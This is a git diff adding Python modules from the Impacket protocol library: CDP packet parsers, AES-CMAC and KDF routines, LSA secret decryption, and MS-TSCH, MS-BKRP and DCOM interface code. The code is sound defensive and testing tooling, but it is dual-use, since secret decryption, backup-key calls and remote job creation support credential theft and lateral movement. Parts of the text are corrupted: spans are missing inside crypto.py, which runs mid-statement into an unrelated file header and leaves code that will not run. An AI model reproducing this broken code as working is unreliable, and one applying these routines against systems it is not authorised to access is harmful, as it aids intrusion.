self._generateAddressDetails(data) + + def _generateAddressDetails(self, buff): + self.address_details = [] + while buff: + address = AddressDetails.create(buff) + self.address_details.append( address ) + buff = buff[address.get_total_length():] + + def get_type(self): + return Address.Type + + def get_number(self): + return self.get_long(4) + + def get_address_details(self): + return self.address_details + + def __str__(self): + tmp_str = "Addresses:" + for address_detail in self.address_details: + tmp_str += "\n" + str(address_detail) + return tmp_str + +class AddressDetails(): + + PROTOCOL_IP = 0xcc + + @classmethod + def create(cls, buff): + a = AddressDetails(buff) + return a + + + def __init__(self, aBuffer = None): + if aBuffer: + addr_length = unpack("!h", aBuffer[3:5])[0] + self.total_length = addr_length + 5 + self.buffer = aBuffer[:self.total_length] + + def get_total_length(self): + return self.total_length + + def get_protocol_type(self): + return self.buffer[0:1] + + def get_protocol_length(self): + return get_byte( self.buffer, 1) + + def get_protocol(self): + return get_byte( self.buffer, 2) + + def get_address_length(self): + return get_word( self.buffer, 3) + + def get_address(self): + address = get_bytes( self.buffer, 5, self.get_address_length() ) + if self.get_protocol()==AddressDetails.PROTOCOL_IP: + return socket.inet_ntoa(address) + else: + LOG.error("Address not IP") + return address + + def is_protocol_IP(self): + return self.get_protocol()==AddressDetails.PROTOCOL_IP + + def __str__(self): + return "Protocol Type:%r Protocol:%r Address Length:%r Address:%s" % (self.get_protocol_type(), self.get_protocol(), self.get_address_length(), self.get_address()) + +class Port(CDPElement): + Type = 3 + + def get_type(self): + return Port.Type + + def get_port(self): + return CDPElement.get_data(self) + + def __str__(self): + return "Port:" + self.get_port() + + +class Capabilities(CDPElement): + Type = 4 + + def __init__(self, aBuffer = None): + CDPElement.__init__(self, aBuffer) + self._capabilities_processed = False + + self._router = False + self._transparent_bridge = False + self._source_route_bridge = False + self._switch = False + self._host = False + self._igmp_capable = False + self._repeater = False + self._init_capabilities() + + def get_type(self): + return Capabilities.Type + + def get_capabilities(self): + return CDPElement.get_data(self) + + def _init_capabilities(self): + if self._capabilities_processed: + return + + capabilities = unpack("!L", self.get_capabilities())[0] + self._router = (capabilities & 0x1) > 0 + self._transparent_bridge = (capabilities & 0x02) > 0 + self._source_route_bridge = (capabilities & 0x04) > 0 + self._switch = (capabilities & 0x08) > 0 + self._host = (capabilities & 0x10) > 0 + self._igmp_capable = (capabilities & 0x20) > 0 + self._repeater = (capabilities & 0x40) > 0 + + def is_router(self): + return self._router + + def is_transparent_bridge(self): + return self._transparent_bridge + + def is_source_route_bridge(self): + return self._source_route_bridge + + def is_switch(self): + return self._switch + + def is_host(self): + return self.is_host + + def is_igmp_capable(self): + return self._igmp_capable + + def is_repeater(self): + return self._repeater + + + def __str__(self): + return "Capabilities:" + self.get_capabilities() + + +class SoftVersion(CDPElement): + Type = 5 + + def get_type(self): + return SoftVersion.Type + + def get_version(self): + return CDPElement.get_data(self) + + def __str__(self): + return "Version:" + self.get_version() + + +class Platform(CDPElement): + Type = 6 + + def get_type(self): + return Platform.Type + + def get_platform(self): + return CDPElement.get_data(self) + + def __str__(self): + return "Platform:%r" % self.get_platform() + + +class IpPrefix(CDPElement): + Type = 7 + + def get_type(self): + return IpPrefix .Type + + def get_ip_prefix(self): + return CDPElement.get_ip_address(self, 4) + + def get_bits(self): + return self.get_byte(8) + + def __str__(self): + return "IP Prefix/Gateway: %r/%d" % (self.get_ip_prefix(), self.get_bits()) + +class ProtocolHello(CDPElement): + Type = 8 + + def get_type(self): + return ProtocolHello.Type + + def get_master_ip(self): + return self.get_ip_address(9) + + def get_version(self): + return self.get_byte(17) + + def get_sub_version(self): + return self.get_byte(18) + + def get_status(self): + return self.get_byte(19) + + def get_cluster_command_mac(self): + return array_tobytes(self.get_bytes())[20:20+6] + + def get_switch_mac(self): + return array_tobytes(self.get_bytes())[28:28+6] + + def get_management_vlan(self): + return self.get_word(36) + + def __str__(self): + return "\n\n\nProcolHello: Master IP:%s version:%r subversion:%r status:%r Switch's Mac:%r Management VLAN:%r" \ + % (self.get_master_ip(), self.get_version(), self.get_sub_version(), self.get_status(), mac_to_string(self.get_switch_mac()), self.get_management_vlan()) + +class VTPManagementDomain(CDPElement): + Type = 9 + + def get_type(self): + return VTPManagementDomain.Type + + def get_domain(self): + return CDPElement.get_data(self) + + +class Duplex(CDPElement): + Type = 0xb + + def get_type(self): + return Duplex.Type + + def get_duplex(self): + return CDPElement.get_data(self) + + def is_full_duplex(self): + return self.get_duplex()==0x1 + +class VLAN(CDPElement): + Type = 0xa + + def get_type(self): + return VLAN.Type + + def get_vlan_number(self): + return CDPElement.get_data(self) + + + +class TrustBitmap(CDPElement): + Type = 0x12 + + def get_type(self): + return TrustBitmap.Type + + def get_trust_bitmap(self): + return self.get_data() + + def __str__(self): + return "TrustBitmap Trust Bitmap:%r" % self.get_trust_bitmap() + +class UntrustedPortCoS(CDPElement): + Type = 0x13 + + def get_type(self): + return UntrustedPortCoS.Type + + def get_port_CoS(self): + return self.get_data() + + def __str__(self): + return "UntrustedPortCoS port CoS %r" % self.get_port_CoS() + +class ManagementAddresses(Address): + Type = 0x16 + + def get_type(self): + return ManagementAddresses.Type + +class MTU(CDPElement): + Type = 0x11 + + def get_type(self): + return MTU.Type + +class SystemName(CDPElement): + Type = 0x14 + + def get_type(self): + return SystemName.Type + +class SystemObjectId(CDPElement): + Type = 0x15 + + def get_type(self): + return SystemObjectId.Type + +class SnmpLocation(CDPElement): + Type = 0x17 + + def get_type(self): + return SnmpLocation.Type + + +class DummyCdpElement(CDPElement): + Type = 0x99 + + def get_type(self): + return DummyCdpElement.Type + +class CDPElementFactory(): + + elementTypeMap = { + CDPDevice.Type : CDPDevice, + Port.Type : Port, + Capabilities.Type : Capabilities, + Address.Type : Address, + SoftVersion.Type : SoftVersion, + Platform.Type : Platform, + IpPrefix.Type : IpPrefix, + ProtocolHello.Type : ProtocolHello, + VTPManagementDomain.Type : VTPManagementDomain, + VLAN.Type : VLAN, + Duplex.Type : Duplex, + TrustBitmap.Type : TrustBitmap, + UntrustedPortCoS.Type : UntrustedPortCoS, + ManagementAddresses.Type : ManagementAddresses, + MTU.Type : MTU, + SystemName.Type : SystemName, + SystemObjectId.Type : SystemObjectId, + SnmpLocation.Type : SnmpLocation + } + + @classmethod + def create(cls, aBuffer): +# print "CDPElementFactory.create aBuffer:", repr(aBuffer) +# print "CDPElementFactory.create sub_type:", repr(aBuffer[0:2]) + _type = unpack("!h", aBuffer[0:2])[0] +# print "CDPElementFactory.create _type:", _type + try: + class_type = cls.elementTypeMap[_type] + except KeyError: + class_type = DummyCdpElement + #raise Exception("CDP Element type %s not implemented" % _type) + return class_type( aBuffer ) diff --git a/impacket/crypto.py b/impacket/crypto.py new file mode 100644 index 0000000..45c3a6b --- /dev/null +++ b/impacket/crypto.py @@ -0,0 +1,350 @@ +# Impacket - Collection of Python classes for working with network protocols. +# +# SECUREAUTH LABS. Copyright (C) 2018 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# +# Description: +# RFC 4493 implementation (https://www.ietf.org/rfc/rfc4493.txt) +# RFC 4615 implementation (https://www.ietf.org/rfc/rfc4615.txt) +# +# NIST SP 800-108 Section 5.1, with PRF HMAC-SHA256 implementation +# (https://tools.ietf.org/html/draft-irtf-cfrg-kdf-uses-00#ref-SP800-108) +# +# [MS-LSAD] Section 5.1.2 +# [MS-SAMR] Section 2.2.11.1.1 +# +# Author: +# Alberto Solino (@agsolino) +# + +from __future__ import division +from __future__ import print_function +from impacket import LOG +try: + from Cryptodome.Cipher import DES, AES +except Exception: + LOG.error("Warning: You don't have any crypto installed. You need pycryptodomex") + LOG.error("See https://pypi.org/project/pycryptodomex/") +from struct import pack, unpack +from impacket.structure import Structure +import hmac, hashlib +from six import b + +def Generate_Subkey(K): + +# +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ +# + Algorithm Generate_Subkey + +# +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ +# + + +# + Input : K (128-bit key) + +# + Output : K1 (128-bit first subkey) + +# + K2 (128-bit second subkey) + +# +-------------------------------------------------------------------+ +# + + +# + Constants: const_Zero is 0x00000000000000000000000000000000 + +# + const_Rb is 0x00000000000000000000000000000087 + +# + Variables: L for output of AES-128 applied to 0^128 + +# + + +# + Step 1. L := AES-128(K, const_Zero); + +# + Step 2. if MSB(L) is equal to 0 + +# + then K1 := L << 1; + +# + else K1 := (L << 1) XOR const_Rb; + +# + Step 3. if MSB(K1) is equal to 0 + +# + then K2 := K1 << 1; + +# + else K2 := (K1 << 1) XOR const_Rb; + +# + Step 4. return K1, K2; + +# + + +# +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ + + AES_128 = AES.new(K, AES.MODE_ECB) + + L = AES_128.encrypt(bytes(bytearray(16))) + + LHigh = unpack('>Q',L[:8])[0] + LLow = unpack('>Q',L[8:])[0] + + K1High = ((LHigh << 1) | ( LLow >> 63 )) & 0xFFFFFFFFFFFFFFFF + K1Low = (LLow << 1) & 0xFFFFFFFFFFFFFFFF + + if (LHigh >> 63): + K1Low ^= 0x87 + + K2High = ((K1High << 1) | (K1Low >> 63)) & 0xFFFFFFFFFFFFFFFF + K2Low = ((K1Low << 1)) & 0xFFFFFFFFFFFFFFFF + + if (K1High >> 63): + K2Low ^= 0x87 + + K1 = bytearray(pack('>QQ', K1High, K1Low)) + K2 = bytearray(pack('>QQ', K2High, K2Low)) + + return K1, K2 + +def XOR_128(N1,N2): + + J = bytearray() + for i in range(len(N1)): + #J.append(indexbytes(N1,i) ^ indexbytes(N2,i)) + J.append(N1[i] ^ N2[i]) + return J + +def PAD(N): + padLen = 16-len(N) + return N + b'\x80' + b'\x00'*(padLen-1) + +def AES_CMAC(K, M, length): + +# +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ +# + Algorithm AES-CMAC + +# +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ +# + + +# + Input : K ( 128-bit key ) + +# + : M ( message to be authenticated ) + +# + : len ( length of the message in octets ) + +# + Output : T ( message authentication code ) + +# + + +# +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ +# + Constants: const_Zero is 0x00000000000000000000000000000000 + +# + const_Bsize is 16 + +# + + +# + Variables: K1, K2 for 128-bit subkeys + +# + M_i is the i-th block (i=1..ceil(len/const_Bsize)) + +# + M_last is the last block xor-ed with K1 or K2 + +# + n for number of blocks to be processed + +# + r for number of octets of last block + +# + flag for denoting if last block is complete or not + +# + + +# + Step 1. (K1,K2) := Generate_Subkey(K); + +# + Step 2. n := ceil(len/const_Bsize); + +# + Step 3. if n = 0 + +# + then + +# + n := 1; + +# + flag := false; + +# + else + +# + if len mod const_Bsize is 0 + +# + then flag := true; + +# + else flag := false; + +# + + +# + Step 4. if flag is true + +# + then M_last := M_n XOR K1; + +# + else M_last := padding(M_n) XOR K2; + +# + Step 5. X := const_Zero; + +# + Step 6. for i := 1 to n-1 do + +# + begin + +# + Y := X XOR M_i; + +# + X := AES-128(K,Y); + +# + end + +# + Y := M_last XOR X; + +# + T := AES-128(K,Y); + +# + Step 7. return T; + +# +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ + + const_Bsize = 16 + const_Zero = bytearray(16) + + AES_128= AES.new(K, AES.MODE_ECB) + M = bytearray(M[:length]) + K1, K2 = Generate_Subkey(K) + n = len(M)//const_Bsize + + if n == 0: + n = 1 + flag = False + else: + if (length % const_Bsize) == 0: + flag = True + else: + n += 1 + flag = False + + M_n = M[(n-1)*const_Bsize:] + if flag is True: + M_last = XOR_128(M_n,K1) + else: + M_last = XOR_128(PAD(M_n),K2) + + X = const_Zero + for i in range(n-1): + M_i = M[(i)*const_Bsize:][:16] + Y = XOR_128(X, M_i) + X = bytearray(AES_128.encrypt(bytes(Y))) + Y = XOR_128(M_last, X) + T = AES_128.encrypt(bytes(Y)) + + return T + +def AES_CMAC_PRF_128(VK, M, VKlen, Mlen): +# +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ +# + AES-CMAC-PRF-128 + +# +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ +# + + +# + Input : VK (Variable-length key) + +# + : M (Message, i.e., the input data of the PRF) + +# + : VKlen (length of VK in octets) + +# + : len (length of M in octets) + +# + Output : PRV (128-bit Pseudo-Random Variable) + +# + + +# +-------------------------------------------------------------------+ +# + Variable: K (128-bit key for AES-CMAC) + +# + + +# + Step 1. If VKlen is equal to 16 + +# + Step 1a. then + +# + K := VK; + +# + Step 1b. else + +# + K := AES-CMAC(0^128, VK, VKlen); + +# + Step 2. PRV := AES-CMAC(K, M, len); + +# + return PRV; + +# + + +# +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ + if VKlen == 16: + K = VK + else: + K = AES_CMAC(bytes(bytearray(16)), VK, VKlen) + + PRV = AES_CMAC(K, M, Mlen) + + return PRV + +def KDF_CounterMode(KI, Label, Context, L): +# Implements NIST SP 800-108 Section 5.1, with PRF HMAC-SHA256 +# https://tools.ietf.org/html/draft-irtf-cfrg-kdf-uses-00#ref-SP800-108 +# Fixed values: +# 1. h - The length of the output of the PRF in bits, and +# 2. r - The length of the binary representation of the counter i. +# Input: KI, Label, Context, and L. +# Process: +# 1. n := [L/h] +# 2. If n > 2r-1, then indicate an error and stop. +# 3. result(0):= empty . +# 4. For i = 1 to n, do +# a. K(i) := PRF (KI, [i]2 || Label || 0x00 || Context || [L]2) +# b. result(i) := result(i-1) || K(i). +# 5. Return: KO := the leftmost L bits of result(n). + h = 256 + r = 32 + + n = L // h + + if n == 0: + n = 1 + + if n > (pow(2,r)-1): + raise Exception("Error computing KDF_CounterMode") + + result = b'' + K = b'' + + for i in range(1,n+1): + input = pack('>L', i) + Label + b'\x00' + Context + pack('>L',L) + K = hmac.new(KI, input, hashlib.sha256).digest() + result = result + K + + return result[:(L//8)] + +# [MS-LSAD] Section 5.1.2 / 5.1.3 +class LSA_SECRET_XP(Structure): + structure = ( + ('Length','> 0x01) ) + OutputKey.append( chr(((ord(InputKey[0:1])&0x01)<<6) | (ord(InputKey[1:2])>>2)) ) + OutputKey.append( chr(((ord(InputKey[1:2])&0x03)<<5) | (ord(InputKey[2:3])>>3)) ) + OutputKey.append( chr(((ord(InputKey[2:3])&0x07)<<4) | (ord(InputKey[3:4])>>4)) ) + OutputKey.append( chr(((ord(InputKey[3:4])&0x0F)<<3) | (ord(InputKey[4:5])>>5)) ) + OutputKey.append( chr(((ord(InputKey[4:5])&0x1F)<<2) | (ord(InputKey[5:6])>>6)) ) + OutputKey.append( chr(((ord(InputKey[5:6])&0x3F)<<1) | (ord(InputKey[6:7])>>7)) ) + OutputKey.append( chr(ord(InputKey[6:7]) & 0x7F) ) + + for i in range(8): + OutputKey[i] = chr((ord(OutputKey[i]) << 1) & 0xfe) + + return b("".join(OutputKey)) + +def decryptSecret(key, value): + # [MS-LSAD] Section 5.1.2 + plainText = b'' + key0 = key + for i in range(0, len(value), 8): + cipherText = value[:8] + tmpStrKey = key0[:7] + tmpKey = transformKey(tmpStrKey) + Crypt1 = DES.new(tmpKey, DES.MODE_ECB) + plainText += Crypt1.decrypt(cipherText) + key0 = key0[7:] + value = value[8:] + # AdvanceKey + if len(key0) < 7: + key0 = key[len(key0):] + + secret = LSA_SECRET_XP(plainText) + return (secret['Secret']) + +def encryptSecret(key, value): + # [MS-LSAD] Section 5.1.2 + cipherText = b'' + key0 = key + value0 = pack('. +# There are test cases for them too. +# +# Author: +# Alberto Solino (@agsolino) +# + +from impacket.dcerpc.v5.ndr import NDRCALL, NDRSTRUCT, NDRPOINTER, NDRUniConformantArray +from impacket.dcerpc.v5.dtypes import DWORD, LPWSTR, UCHAR, ULONG, LPDWORD, NULL +from impacket import hresult_errors +from impacket.uuid import uuidtup_to_bin +from impacket.dcerpc.v5.rpcrt import DCERPCException + +MSRPC_UUID_ATSVC = uuidtup_to_bin(('1FF70682-0A51-30E8-076D-740BE8CEE98B','1.0')) + +class DCERPCSessionError(DCERPCException): + def __init__(self, error_string=None, error_code=None, packet=None): + DCERPCException.__init__(self, error_string, error_code, packet) + + def __str__( self ): + key = self.error_code + if key in hresult_errors.ERROR_MESSAGES: + error_msg_short = hresult_errors.ERROR_MESSAGES[key][0] + error_msg_verbose = hresult_errors.ERROR_MESSAGES[key][1] + return 'TSCH SessionError: code: 0x%x - %s - %s' % (self.error_code, error_msg_short, error_msg_verbose) + else: + return 'TSCH SessionError: unknown error code: 0x%x' % self.error_code + +################################################################################ +# CONSTANTS +################################################################################ +ATSVC_HANDLE = LPWSTR +# 2.3.1 Constant Values +CNLEN = 15 +DNLEN = CNLEN +UNLEN = 256 +MAX_BUFFER_SIZE = (DNLEN+UNLEN+1+1) + +# 2.3.7 Flags +TASK_FLAG_INTERACTIVE = 0x1 +TASK_FLAG_DELETE_WHEN_DONE = 0x2 +TASK_FLAG_DISABLED = 0x4 +TASK_FLAG_START_ONLY_IF_IDLE = 0x10 +TASK_FLAG_KILL_ON_IDLE_END = 0x20 +TASK_FLAG_DONT_START_IF_ON_BATTERIES = 0x40 +TASK_FLAG_KILL_IF_GOING_ON_BATTERIES = 0x80 +TASK_FLAG_RUN_ONLY_IF_DOCKED = 0x100 +TASK_FLAG_HIDDEN = 0x200 +TASK_FLAG_RUN_IF_CONNECTED_TO_INTERNET = 0x400 +TASK_FLAG_RESTART_ON_IDLE_RESUME = 0x800 +TASK_FLAG_SYSTEM_REQUIRED = 0x1000 +TASK_FLAG_RUN_ONLY_IF_LOGGED_ON = 0x2000 + +################################################################################ +# STRUCTURES +################################################################################ +# 2.3.4 AT_INFO +class AT_INFO(NDRSTRUCT): + structure = ( + ('JobTime',DWORD), + ('DaysOfMonth',DWORD), + ('DaysOfWeek',UCHAR), + ('Flags',UCHAR), + ('Command',LPWSTR), + ) + +class LPAT_INFO(NDRPOINTER): + referent = ( + ('Data',AT_INFO), + ) + +# 2.3.6 AT_ENUM +class AT_ENUM(NDRSTRUCT): + structure = ( + ('JobId',DWORD), + ('JobTime',DWORD), + ('DaysOfMonth',DWORD), + ('DaysOfWeek',UCHAR), + ('Flags',UCHAR), + ('Command',LPWSTR), + ) + +class AT_ENUM_ARRAY(NDRUniConformantArray): + item = AT_ENUM + +class LPAT_ENUM_ARRAY(NDRPOINTER): + referent = ( + ('Data',AT_ENUM_ARRAY), + ) + +# 2.3.5 AT_ENUM_CONTAINER +class AT_ENUM_CONTAINER(NDRSTRUCT): + structure = ( + ('EntriesRead',DWORD), + ('Buffer',LPAT_ENUM_ARRAY), + ) + +################################################################################ +# RPC CALLS +################################################################################ +# 3.2.5.2.1 NetrJobAdd (Opnum 0) +class NetrJobAdd(NDRCALL): + opnum = 0 + structure = ( + ('ServerName',ATSVC_HANDLE), + ('pAtInfo', AT_INFO), + ) + +class NetrJobAddResponse(NDRCALL): + structure = ( + ('pJobId',DWORD), + ('ErrorCode',ULONG), + ) + +# 3.2.5.2.2 NetrJobDel (Opnum 1) +class NetrJobDel(NDRCALL): + opnum = 1 + structure = ( + ('ServerName',ATSVC_HANDLE), + ('MinJobId', DWORD), + ('MaxJobId', DWORD), + ) + +class NetrJobDelResponse(NDRCALL): + structure = ( + ('ErrorCode',ULONG), + ) + +# 3.2.5.2.3 NetrJobEnum (Opnum 2) +class NetrJobEnum(NDRCALL): + opnum = 2 + structure = ( + ('ServerName',ATSVC_HANDLE), + ('pEnumContainer', AT_ENUM_CONTAINER), + ('PreferedMaximumLength', DWORD), + ('pResumeHandle', LPDWORD), + ) + +class NetrJobEnumResponse(NDRCALL): + structure = ( + ('pEnumContainer', AT_ENUM_CONTAINER), + ('pTotalEntries', DWORD), + ('pResumeHandle',LPDWORD), + ('ErrorCode',ULONG), + ) + +# 3.2.5.2.4 NetrJobGetInfo (Opnum 3) +class NetrJobGetInfo(NDRCALL): + opnum = 3 + structure = ( + ('ServerName',ATSVC_HANDLE), + ('JobId', DWORD), + ) + +class NetrJobGetInfoResponse(NDRCALL): + structure = ( + ('ppAtInfo', LPAT_INFO), + ('ErrorCode',ULONG), + ) + +################################################################################ +# OPNUMs and their corresponding structures +################################################################################ +OPNUMS = { + 0 : (NetrJobAdd,NetrJobAddResponse ), + 1 : (NetrJobDel,NetrJobDelResponse ), + 2 : (NetrJobEnum,NetrJobEnumResponse ), + 3 : (NetrJobGetInfo,NetrJobGetInfoResponse ), +} + +################################################################################ +# HELPER FUNCTIONS +################################################################################ +def hNetrJobAdd(dce, serverName = NULL, atInfo = NULL): + netrJobAdd = NetrJobAdd() + netrJobAdd['ServerName'] = serverName + netrJobAdd['pAtInfo'] = atInfo + return dce.request(netrJobAdd) + +def hNetrJobDel(dce, serverName = NULL, minJobId = 0, maxJobId = 0): + netrJobDel = NetrJobDel() + netrJobDel['ServerName'] = serverName + netrJobDel['MinJobId'] = minJobId + netrJobDel['MaxJobId'] = maxJobId + return dce.request(netrJobDel) + +def hNetrJobEnum(dce, serverName = NULL, pEnumContainer = NULL, preferedMaximumLength = 0xffffffff): + netrJobEnum = NetrJobEnum() + netrJobEnum['ServerName'] = serverName + netrJobEnum['pEnumContainer']['Buffer'] = pEnumContainer + netrJobEnum['PreferedMaximumLength'] = preferedMaximumLength + return dce.request(netrJobEnum) + +def hNetrJobGetInfo(dce, serverName = NULL, jobId = 0): + netrJobGetInfo = NetrJobGetInfo() + netrJobGetInfo['ServerName'] = serverName + netrJobGetInfo['JobId'] = jobId + return dce.request(netrJobGetInfo) diff --git a/impacket/dcerpc/v5/bkrp.py b/impacket/dcerpc/v5/bkrp.py new file mode 100644 index 0000000..954841f --- /dev/null +++ b/impacket/dcerpc/v5/bkrp.py @@ -0,0 +1,132 @@ +# Impacket - Collection of Python classes for working with network protocols. +# +# SECUREAUTH LABS. Copyright (C) 2018 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# +# Description: +# [MS-BKRP] Interface implementation +# +# Best way to learn how to use these calls is to grab the protocol standard +# so you understand what the call does, and then read the test case located +# at https://github.com/SecureAuthCorp/impacket/tree/master/tests/SMB_RPC +# +# Some calls have helper functions, which makes it even easier to use. +# They are located at the end of this file. +# Helper functions start with "h". +# There are test cases for them too. +# +# Author: +# Alberto Solino (@agsolino) +# +# ToDo: +# [ ] 2.2.2 Client-Side-Wrapped Secret +# + +from __future__ import division +from __future__ import print_function +from impacket.dcerpc.v5.ndr import NDRCALL, NDRPOINTER, NDRUniConformantArray +from impacket.dcerpc.v5.dtypes import DWORD, NTSTATUS, GUID, RPC_SID, NULL +from impacket.dcerpc.v5.rpcrt import DCERPCException +from impacket import system_errors +from impacket.uuid import uuidtup_to_bin, string_to_bin +from impacket.structure import Structure + +MSRPC_UUID_BKRP = uuidtup_to_bin(('3dde7c30-165d-11d1-ab8f-00805f14db40', '1.0')) + +class DCERPCSessionError(DCERPCException): + def __init__(self, error_string=None, error_code=None, packet=None): + DCERPCException.__init__(self, error_string, error_code, packet) + + def __str__( self ): + key = self.error_code + if key in system_errors.ERROR_MESSAGES: + error_msg_short = system_errors.ERROR_MESSAGES[key][0] + error_msg_verbose = system_errors.ERROR_MESSAGES[key][1] + return 'BKRP SessionError: code: 0x%x - %s - %s' % (self.error_code, error_msg_short, error_msg_verbose) + else: + return 'BKRP SessionError: unknown error code: 0x%x' % self.error_code + +################################################################################ +# CONSTANTS +################################################################################ + +BACKUPKEY_BACKUP_GUID = string_to_bin("7F752B10-178E-11D1-AB8F-00805F14DB40") +BACKUPKEY_RESTORE_GUID_WIN2K = string_to_bin("7FE94D50-178E-11D1-AB8F-00805F14DB40") +BACKUPKEY_RETRIEVE_BACKUP_KEY_GUID = string_to_bin("018FF48A-EABA-40C6-8F6D-72370240E967") +BACKUPKEY_RESTORE_GUID = string_to_bin("47270C64-2FC7-499B-AC5B-0E37CDCE899A") + +################################################################################ +# STRUCTURES +################################################################################ +class BYTE_ARRAY(NDRUniConformantArray): + item = 'c' + +class PBYTE_ARRAY(NDRPOINTER): + referent = ( + ('Data', BYTE_ARRAY), + ) + +# 2.2.4.1 Rc4EncryptedPayload Structure +class Rc4EncryptedPayload(Structure): + structure = ( + ('R3', '32s=""'), + ('MAC', '20s=""'), + ('SID', ':', RPC_SID), + ('Secret', ':'), + ) + +# 2.2.4 Secret Wrapped with Symmetric Key +class WRAPPED_SECRET(Structure): + structure = ( + ('SIGNATURE', ' 0 THEN +# PRINT Name of the method is rgBstrNames[0] +# PRINT Parameters to above method are following +# FOR Y = 1 to pcNames -1 +# PRINT rgBstrNames[Y] +# END FOR +# END IF +# END FOR i +# ENDIF +def enumerateMethods(iInterface): + methods = dict() + typeInfoCount = iInterface.GetTypeInfoCount() + if typeInfoCount['pctinfo'] == 0: + LOG.error('Automation Server does not support type information for this object') + return {} + iTypeInfo = iInterface.GetTypeInfo() + iTypeAttr = iTypeInfo.GetTypeAttr() + for x in range(iTypeAttr['ppTypeAttr']['cFuncs']): + funcDesc = iTypeInfo.GetFuncDesc(x) + names = iTypeInfo.GetNames(funcDesc['ppFuncDesc']['memid'], 255) + print(names['rgBstrNames'][0]['asData']) + funcDesc.dump() + print('='*80) + if names['pcNames'] > 0: + name = names['rgBstrNames'][0]['asData'] + methods[name] = {} + for param in range(1, names['pcNames']): + methods[name][names['rgBstrNames'][param]['asData']] = '' + if funcDesc['ppFuncDesc']['elemdescFunc'] != NULL: + methods[name]['ret'] = funcDesc['ppFuncDesc']['elemdescFunc']['tdesc']['vt'] + + return methods + +def checkNullString(string): + if string == NULL: + return string + + if string[-1:] != '\x00': + return string + '\x00' + else: + return string + +class ITypeComp(IRemUnknown2): + def __init__(self, interface): + IRemUnknown2.__init__(self,interface) + self._iid = IID_ITypeComp + +class ITypeInfo(IRemUnknown2): + def __init__(self, interface): + IRemUnknown2.__init__(self,interface) + self._iid = IID_ITypeInfo + + def GetTypeAttr(self): + request = ITypeInfo_GetTypeAttr() + resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) + return resp + + def GetTypeComp(self): + request = ITypeInfo_GetTypeComp() + resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) + return ITypeComp(INTERFACE(self.get_cinstance(), b''.join(resp['ppTComp']['abData']), self.get_ipidRemUnknown(), target = self.get_target())) + + def GetFuncDesc(self, index): + request = ITypeInfo_GetFuncDesc() + request['index'] = index + resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) + return resp + + def GetNames(self, memid, cMaxNames=10): + request = ITypeInfo_GetNames() + request['memid'] = memid + request['cMaxNames'] = cMaxNames + resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) + return resp + + def GetDocumentation(self, memid, refPtrFlags=15): + request = ITypeInfo_GetDocumentation() + request['memid'] = memid + request['refPtrFlags'] = refPtrFlags + resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) + return resp + + +class IDispatch(IRemUnknown2): + def __init__(self, interface): + IRemUnknown2.__init__(self,interface) + self._iid = IID_IDispatch + + def GetTypeInfoCount(self): + request = IDispatch_GetTypeInfoCount() + resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) + return resp + + def GetTypeInfo(self): + request = IDispatch_GetTypeInfo() + request['iTInfo'] = 0 + request['lcid'] = 0 + resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) + return ITypeInfo(INTERFACE(self.get_cinstance(), b''.join(resp['ppTInfo']['abData']), self.get_ipidRemUnknown(), target = self.get_target())) + + def GetIDsOfNames(self, rgszNames, lcid = 0): + request = IDispatch_GetIDsOfNames() + request['riid'] = IID_NULL + for name in rgszNames: + tmpName = LPOLESTR() + tmpName['Data'] = checkNullString(name) + request['rgszNames'].append(tmpName) + request['cNames'] = len(rgszNames) + request['lcid'] = lcid + resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) + IDs = list() + for id in resp['rgDispId']: + IDs.append(id) + + return IDs + + def Invoke(self, dispIdMember, lcid, dwFlags, pDispParams, cVarRef, rgVarRefIdx, rgVarRef): + request = IDispatch_Invoke() + request['dispIdMember'] = dispIdMember + request['riid'] = IID_NULL + request['lcid'] = lcid + request['dwFlags'] = dwFlags + request['pDispParams'] = pDispParams + request['cVarRef'] = cVarRef + request['rgVarRefIdx'] = rgVarRefIdx + request['rgVarRef'] = rgVarRefIdx + resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) + return resp diff --git a/impacket/dcerpc/v5/dcom/scmp.py b/impacket/dcerpc/v5/dcom/scmp.py new file mode 100644 index 0000000..7a97fad --- /dev/null +++ b/impacket/dcerpc/v5/dcom/scmp.py @@ -0,0 +1,340 @@ +# Impacket - Collection of Python classes for working with network protocols. +# +# SECUREAUTH LABS. Copyright (C) 2018 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# +# Description: +# [MS-SCMP]: Shadow Copy Management Protocol Interface implementation +# This was used as a way to test the DCOM runtime. Further +# testing is needed to verify it is working as expected +# +# Best way to learn how to use these calls is to grab the protocol standard +# so you understand what the call does, and then read the test case located +# at https://github.com/SecureAuthCorp/impacket/tree/master/tests/SMB_RPC +# +# Since DCOM is like an OO RPC, instead of helper functions you will see the +# classes described in the standards developed. +# There are test cases for them too. +# +# Author: +# Alberto Solino (@agsolino) +# +from __future__ import division +from __future__ import print_function +from impacket.dcerpc.v5.ndr import NDRENUM, NDRSTRUCT, NDRUNION +from impacket.dcerpc.v5.dcomrt import PMInterfacePointer, INTERFACE, DCOMCALL, DCOMANSWER, IRemUnknown2 +from impacket.dcerpc.v5.dtypes import LONG, LONGLONG, ULONG, WSTR +from impacket.dcerpc.v5.enum import Enum +from impacket.dcerpc.v5.rpcrt import DCERPCException +from impacket import hresult_errors 